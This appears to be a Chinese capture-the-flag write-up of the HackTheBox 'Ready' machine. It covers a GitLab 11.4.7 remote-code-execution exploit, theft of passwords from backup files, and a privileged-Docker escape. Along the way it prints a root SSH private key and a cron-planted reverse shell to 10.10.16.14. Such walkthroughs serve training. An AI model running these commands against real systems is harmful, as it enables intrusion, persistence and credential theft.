一、信息搜集
nmap -sV 10.10.10.220
# nmap -p- -sV -sC -min-rate 10000 10.10.10.220
先看看
web
资产,访问之后直接跳转到gitlab
的登录界面:
二、gitlab历史漏洞利用
gitlab
的版本号只有在登录后台之后才能看到,于是我们先注册一个账号,随便输入就行:然后访问
[http://10.10.10.220:5080/help](http://10.10.10.220:5080/help)
即可看到版本号是11.4.7
:
补充:关于gitlab版本号查询的五种方法:https://blog.csdn.net/liumiaocn/article/details/108139228
直接利用脚本:https://github.com/dotPY-hax/gitlab_RCE,对应的CVE
为CVE-2018-19571
和CVE-2018-19585
。(10.10.16.14
为攻击机ip
)
git clone https://github.com/dotPY-hax/gitlab_RCE.git
cd gitlab_RCE
python gitlab_rce.py http://10.10.10.220:5080 10.10.16.14
这里需要选择0
和在另一个窗口执行nc -nlvp 42069
:成功反弹回
shell
:本目录下没什么东西,于是翻翻看其他目录有没有东西,来到根目录
ls -la
发现有个.dockerenv
文件,以及一个root_pass
文件:查看
root_pass
文件:值为:
YG65407Bjqvv9A0a8Tm_7w
,但是这个密码啥也登录不了(后来从/opt/backup/docker-compose.yml
才发现是gitlab
的初始root
密码),先放着,继续翻其他目录:/tmp
目录下啥也没:来到
/opt
目录下,可以看到有个backup
目录,进去之后发现gitlab-secrets.json
文件:但是这个文件挺长的,看起来不是很方便:
我们直接在这个
backup
目录下执行:
grep -Ri "pass"
其中-R
表示递归地搜索文件夹中的所有文件,-i
表示忽略大小写,即不区分大小写进行匹配。 发现了关键信息:smtp
的密码是wW59U!ZKMbG9+*#h
,尝试密码复用,登录这个服务器的root
账户,发现不行:尝试登录这个
docker
的root
账户,提升我su: must be run from a terminal
:于是查看有无
python
环境,从上图中发现有,于是直接执行以下脚本:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/suter.py
python3 /tmp/suter.py
输入密码,成功登录root
账户:但是
root
目录下也是啥也没有,也就是说肯定是要docker
逃逸了。
三、docker容器逃逸
关于docker
逃逸,宸极实验室的这篇文章总结的很好:
https://zhuanlan.zhihu.com/p/614513965
privileged特权模式启动容器逃逸
通过以下命令判断是否存在该漏洞:
cat /proc/self/status |grep Cap
发现CapEff
对应的掩码值是0000003fffffffff
,存在漏洞。开始尝试利用:
fdisk -l
于是尝试挂载
/dev/sda2
至其他目录,例如我这里的/media/hacktest
:
mkdir /media/hacktest && mount /dev/sda2 /media/hacktest
挂载成功:需要注意的是,从上图中不难看出,挂载成功之后,不能进入
hacktest
这个文件夹,否则挂载失效。 然后就是两个思路,一个是读私钥,然后连ssh
;第二个就是反弹shell
。我们都尝试一下。
1.1 读私钥连ssh
cd /media
ls -l hacktest/root/.ssh/
cat hacktest/root/.ssh/id_rsa
不知道为啥子,我这挂载老是掉,不过没关系,重新挂载下就行:成功拿到私钥如下:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
6KkYjWv+9kj9shzPaN1tNQLc2Rg39pn1mteyvUi2pBfA4ItE05F58WpCgh9KNMlf
YmlPwjeRaqARlkkCgFcHFGyVxd6Rh4ZHNFjABd8JIl+Yaq/pg7t4qPhsiFsMwntX
TBKGe8T4lzyboBNHOh5yUAI3a3Dx3MdoY+qXS/qatKS2Qgh0Ram2LLFxib9hR49W
rG87jLNt/6s06z+Mwf7d/oN8SmCiJx3xHgFzbwIDAQABAoIBACeFZC4uuSbtv011
YqHm9TqSH5BcKPLoMO5YVA/dhmz7xErbzfYg9fJUxXaIWyCIGAMpXoPlJ90GbGof
Ar6pDgw8+RtdFVwtB/BsSipN2PrU/2kcVApgsyfBtQNb0b85/5NRe9tizR/Axwkf
iUxK3bQOTVwdYQ3LHR6US96iNj/KNru1E8WXcsii5F7JiNG8CNgQx3dzve3Jzw5+
lg5bKkywJcG1r4CU/XV7CJH2SEUTmtoEp5LpiA2Bmx9A2ep4AwNr7bd2sBr6x4ab
VYYvjQlf79/ANRXUUxMTJ6w4ov572Sp41gA9bmwI/Er2uLTVQ4OEbpLoXDUDC1Cu
K4ku7QECgYEA5G3RqH9ptsouNmg2H5xGZbG5oSpyYhFVsDad2E4y1BIZSxMayMXL
g7vSV+D/almaACHJgSIrBjY8ZhGMd+kbloPJLRKA9ob8rfxzUvPEWAW81vNqBBi2
3hO044mOPeiqsHM/+RQOW240EszoYKXKqOxzq/SK4bpRtjHsidSJo4ECgYEA1jzy
n20X43ybDMrxFdVDbaA8eo+og6zUqx8IlL7czpMBfzg5NLlYcjRa6Li6Sy8KNbE8
kRznKWApgLnzTkvupk/oYSijSliLHifiVkrtEY0nAtlbGlgmbwnW15lwV+d3Ixi1
KNwMyG+HHZqChNkFtXiyoFaDdNeuoTeAyyfwzu8CgYAo4L40ORjh7Sx38A4/eeff
Kv7dKItvoUqETkHRA6105ghAtxqD82GIIYRy1YDft0kn3OQCh+rLIcmNOna4vq6B
MPQ/bKBHfcCaIiNBJP5uAhjZHpZKRWH0O/KTBXq++XQSP42jNUOceQw4kRLEuOab
dDT/ALQZ0Q3uXODHiZFYAQKBgBBPEXU7e88QhEkkBdhQpNJqmVAHMZ/cf1ALi76v
DOYY4MtLf2dZGLeQ7r66mUvx58gQlvjBB4Pp0x7+iNwUAbXdbWZADrYxKV4BUUSa
bZOheC/KVhoaTcq0KAu/nYLDlxkv31Kd9ccoXlPNmFP+pWWcK5TzIQy7Aos5S2+r
ubQ3AoGBAIvvz5yYJBFJshQbVNY4vp55uzRbKZmlJDvy79MaRHdz+eHry97WhPOv
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----
把上面的内容写到桌面的id_rsa_hack
中:尝试登录:
ssh -i id_rsa_hack [email protected]
报错Permissions 0644 for 'id_rsa_hack' are too open.
,这是嫌我的权限给的太多了,不满足要求,于是调成600
再尝试,发现成功拿下:
1.2 反弹shell
先开启监听:
nc -nlvp 6666
然后执行以下代码:
cd /media
touch hacktest/hacker.sh
echo "bash -i >& /dev/tcp/10.10.16.14/6666 0>&1" >/media/hacktest/hacker.sh
echo "* * * * * root bash /hacker.sh" >> hacktest/etc/crontab
我这里中途挂载老是失效,于是mount /dev/sda2 /media/hacktest
重新挂载了好几次:发现反弹成功:
接下来查看
/root/root.txt
文件即可拿到root flag
。 还差一个user flag
,直接进入/home/dude
然后cat user.txt
:
2. 其他逃逸方式
其他的如脏牛等,未尝试成功。
四、总结
这个靶场较为简单,因此写的较为简略,但是过程中遇到的问题还是记录了下来。有什么问题欢迎交流,直接公众号后台留言即可,交流群已全部解散。晚上开始打编号296
的名为APT
的靶场。
原文始发于微信公众号(追梦信安):【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论